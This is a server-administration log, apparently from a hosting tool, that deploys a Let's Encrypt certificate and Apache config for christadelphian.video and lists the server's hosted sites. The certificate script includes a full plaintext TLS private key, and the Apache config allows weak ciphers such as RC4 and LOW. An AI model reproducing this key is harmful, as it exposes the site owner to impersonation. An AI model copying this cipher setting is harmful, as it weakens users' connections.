MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-09 11:48:07: Establishing a connection
2026-05-09 11:48:07: Establishing a connection
2026-05-09 11:48:07: 

PUT: /tmp/pkp763606

#!/bin/bash
if [ -d "/var/www/christadelphian_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-09 11:48:07: 

chmod 755 /tmp/pkp763606; /tmp/pkp763606; rm /tmp/pkp763606

2026-05-09 11:48:07: 


1


2026-05-09 11:48:09: Establishing a connection
2026-05-09 11:48:09: 

PUT: /tmp/pkp541637

#!/bin/bash
mkdir -p "/var/www/christadelphian_www/.well-known/acme-challenge/"
cd "/var/www/christadelphian_www/.well-known/acme-challenge/"
cat > 4FA2MtyMFEoneiCcaNX4_nGXf09jHwvZwtZrfu2Rq4s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
4FA2MtyMFEoneiCcaNX4_nGXf09jHwvZwtZrfu2Rq4s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 4FA2MtyMFEoneiCcaNX4_nGXf09jHwvZwtZrfu2Rq4s


2026-05-09 11:48:09: 

chmod 755 /tmp/pkp541637; /tmp/pkp541637; rm /tmp/pkp541637

2026-05-09 11:48:09: 




2026-05-09 11:48:16: Establishing a connection
2026-05-09 11:48:16: 

PUT: /tmp/pkp911161

#!/bin/bash
mkdir -p "/var/www/christadelphian_www/.well-known/acme-challenge/"
cd "/var/www/christadelphian_www/.well-known/acme-challenge/"
rm 4FA2MtyMFEoneiCcaNX4_nGXf09jHwvZwtZrfu2Rq4s


2026-05-09 11:48:16: 

chmod 755 /tmp/pkp911161; /tmp/pkp911161; rm /tmp/pkp911161

2026-05-09 11:48:16: 




2026-05-09 11:48:16: Establishing a connection
2026-05-09 11:48:16: 

PUT: /tmp/pkp608768

#!/bin/bash
temp_file=$(mktemp)
TARGET=ef56788a9be5d522516b6c274e285339.crt

cat > $temp_file <<'endmsg'
e4:0d:c0:73:b0:4e:9e:26:67:99:2e:37:4e:a5:20:9b

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBVOLuZRjcE27QJNGlISTXmbSMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTA5MTA0OTQ0WhcNMjYwODA3MTA0OTQzWjAgMR4wHAYDVQQD
ExVjaHJpc3RhZGVscGhpYW4udmlkZW8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDPGdudHmX3+Pzr6NGcfAAJBQf10rqZm9DzJl8rA+SIt0Kj6w33Oaj9
Fea6WxYjhjIv6GXEU1cP5BOErIubvqRUIPwq4n0PiHfwN5rcKR+yNfLAFydGunXc
zodjiOuKSt1kHw8MaCkGRjJbpBRl66bw2NSApuPSnSR1BzSn6AyU7RivdXR2c2Ej
u7rwqDzhBrkupj1AhM4nkCiaZXj3T9l0DNTCE+mt9CEBhzSc1myvV7mwQKj486Kt
mb1MVDf11auRN5VHBMVdY03xmySU5N5qCgCPZASS2tvYpOJQIyyosPWjVAUGISEn
kL+cu7hFP/FQ2yWpQNTEP2MceW72R0f/AgMBAAGjggIiMIICHjAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUr1QmymvZ5iHNhJC119ry3+nVSOwwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzAgBgNVHREEGTAXghVjaHJpc3RhZGVscGhpYW4udmlkZW8w
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
My5jLmxlbmNyLm9yZy84My5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdQDY
CVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ4MkRE/AAAEAwBGMEQC
ID9WtFwosDHcEF6hNo8owY1VJDN1gsXWr50CYAZLqlViAiBVs0pzYy6N2VjQOrqB
XGRFb7LvS1GmZtZvDQe6oAmGmwB+ACbjZG5YaSEjvDQ/RyQ1mzeSzSRaiNgV05Mz
/ZkYq0cjAAABngyREP4ACAAABQAPGeMYBAMARzBFAiEAoIUfXtzIe1Zx+E4o6Wyi
ccpSA9qNNARxdT3Ksq4/uuYCIBzlxfMAYDx30bRfhe5OLD9Z5z6t1XbPZR/nz3Tv
ABrRMA0GCSqGSIb3DQEBCwUAA4IBAQCDkJk0hePDyVmY/nFm769NFqOMhA+qA2q2
4PQXj6pcMGSv/dWzhxBhOAHuDQrKGGtPuSNdpE7KtfNzgS5qqGzQ2niIKxvUQZ06
7gLFm7aLF8YwSumyS4OseHNHgDera/lHIDZMcFkKoSydT4R00TuzS6HluXXL7NGQ
1KKNLu9NdLV8vrwPjXq4ZYly6aBdn1w5jeYrj619E0HcWzcQGTC8xgFA7yUJYSZb
xAJjm8BTiHzgLMNpAEk3bGQKJw3Mr2c9W27xDuSUTsv6MgQQcLfXgeKlUEt8Ucl0
hOfZDwkYD/pzqx5Tplm0DaniR/LFSckPgjM1OKjMpGY1KJA8q44M
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPGdudHmX3+Pzr
6NGcfAAJBQf10rqZm9DzJl8rA+SIt0Kj6w33Oaj9Fea6WxYjhjIv6GXEU1cP5BOE
rIubvqRUIPwq4n0PiHfwN5rcKR+yNfLAFydGunXczodjiOuKSt1kHw8MaCkGRjJb
pBRl66bw2NSApuPSnSR1BzSn6AyU7RivdXR2c2Eju7rwqDzhBrkupj1AhM4nkCia
ZXj3T9l0DNTCE+mt9CEBhzSc1myvV7mwQKj486Ktmb1MVDf11auRN5VHBMVdY03x
mySU5N5qCgCPZASS2tvYpOJQIyyosPWjVAUGISEnkL+cu7hFP/FQ2yWpQNTEP2Mc
eW72R0f/AgMBAAECggEAM7Wtn4PlCu7Y2+B0YeGWMqpWa/sTS2Jb4DI/BeMBb19u
nLYGdSmo95Q92V7/3pvVsR+SNVxnuxiEBRb9/sOxjS31OJH3jubQp6KCoKEGAH22
4F6HmIHbBuhsZp5bzVpW//Y/UCY7xAzH6xjDXRVjR/SjzoGdFcvVvACyFZB7f71m
aI4QoRokbyhmGuFpp3HwQFnBqZzuHpHqTjra542wdfk8SdwEP7ULBy+KxMZt+H3k
1Nw/TRnKEKBUnjRxawdHCXYO33DTCA4gXyJdyWQktERRXPkiB0YPT8Iak5dN7sqB
qRyIaioHupyA0ICG9fRBu6WmQJDKGYiLRrdhxJfXYQKBgQDtWEQA+eqKHFgY1d8W
dajzoAiKC0NrtH8sUpIb8KN72BcaYqupkGerpWKXFR0D1Z+nZMnMFHmHjGHs1Pm0
fiMosX5P9DEymHpXlDuL7z0DiAGDVcA2gAP57dy37DpT6SA+ExOnLVMEChllHAaJ
oyy5PmhKDJTDoc3N1C6BwrIaYQKBgQDfYQq2V0fSDpicBbhU5NJOGTIOrRNkydCi
KmFJ8u2qd+1mqDZZstkc+OqNHTJ+pwRfcSifL1G3h6cLHf+l3tTDlX8dXAe7lnd0
TKtLNdJQGfBO9agLbN1dpyTWvFWlgMTYdFCk9MtMpB+OrWYhde41d//bLaxYkAgc
QnxvH0w+XwKBgHxYdPBJ/r2y0djZG9KpfAV/P1oLQpxH6SSwccnfjdcRRDFXpnXk
qNu9fuSGdDgREF7jp/GafH0uaBNrFROhzgvAydtbpPbL+bSufW/3u/CArcJAB77F
3M9w9eUKBxj1FyZOWkqIrWh9Xgah4y7y5Th74KmC4+GGgMsoMeFbvnGhAoGBAIUU
R1GChiM61uh87+iDulcU46Gisx8krMsv/G4V8EnS0PiL1nVx+68rDHGtp1uVHSHP
RKgxhLmWc4pIAPpM2uz6r5RKM8EqT1hWJObV1coq6ePgrpC/9tHItkXIRi4nnR5n
jXP48vViAfr6ixH8NEJej2uAtmC8zlgntAJv3vh5AoGBAMfUUGJ+lzC794RIThNw
fvP8cpuanv5Pp4dcdfQZQ0smXWyiQCj3yp+b9VXnb6LavpWRCpwbz3Gt92PUKcVL
Ftdtrssxrwjxs+noq5zG1ZtsB8+3qD+ZKtdFKvoiUIlfOkwd3/UPtKaAXerz2dZu
BmoCa17HcFvBOQ/RFETNtatO
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-09 11:48:16: 

chmod 755 /tmp/pkp608768; /tmp/pkp608768; rm /tmp/pkp608768

2026-05-09 11:48:16: 


dir=/etc/ssl/certs


2026-05-09 11:48:16: 

PUT: /tmp/pkp603570

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/christadelphian_www_video.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-09 11:48:16: 

chmod 755 /tmp/pkp603570; /tmp/pkp603570; rm /tmp/pkp603570

2026-05-09 11:48:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphian_www_video.conf 49

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-09 11:48:16: 

PUT: /tmp/pkp287626

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphian_www_video.conf
TARGET=/etc/apache2/sites-enabled/christadelphian_www_video.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/christadelphian_www_video.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/christadelphian_www_video.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphian_www_video.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphian_www_video.conf= 1'
fi


2026-05-09 11:48:16: 

chmod 755 /tmp/pkp287626; /tmp/pkp287626; rm /tmp/pkp287626

2026-05-09 11:48:16: 




2026-05-09 11:48:16: 

PUT: /tmp/pkp880728

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-09 11:48:16: 

chmod 755 /tmp/pkp880728; /tmp/pkp880728; rm /tmp/pkp880728

2026-05-09 11:48:16: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-09 11:48:16: Establishing a connection
2026-05-09 11:48:17: 

PUT: /tmp/pkp169986

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-09 11:48:17: 

chmod 755 /tmp/pkp169986; /tmp/pkp169986; rm /tmp/pkp169986

2026-05-09 11:48:17: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-09 11:48:17: 

PUT: /tmp/pkp245435

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/christadelphian_www_video.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-09 11:48:17: 

chmod 755 /tmp/pkp245435; /tmp/pkp245435; rm /tmp/pkp245435

2026-05-09 11:48:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphian_www_video.conf	1372

<VirtualHost *:80>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphian/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphian/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphian.video
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
    DocumentRoot	/var/www/christadelphian_www
    <Directory /var/www/christadelphian_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
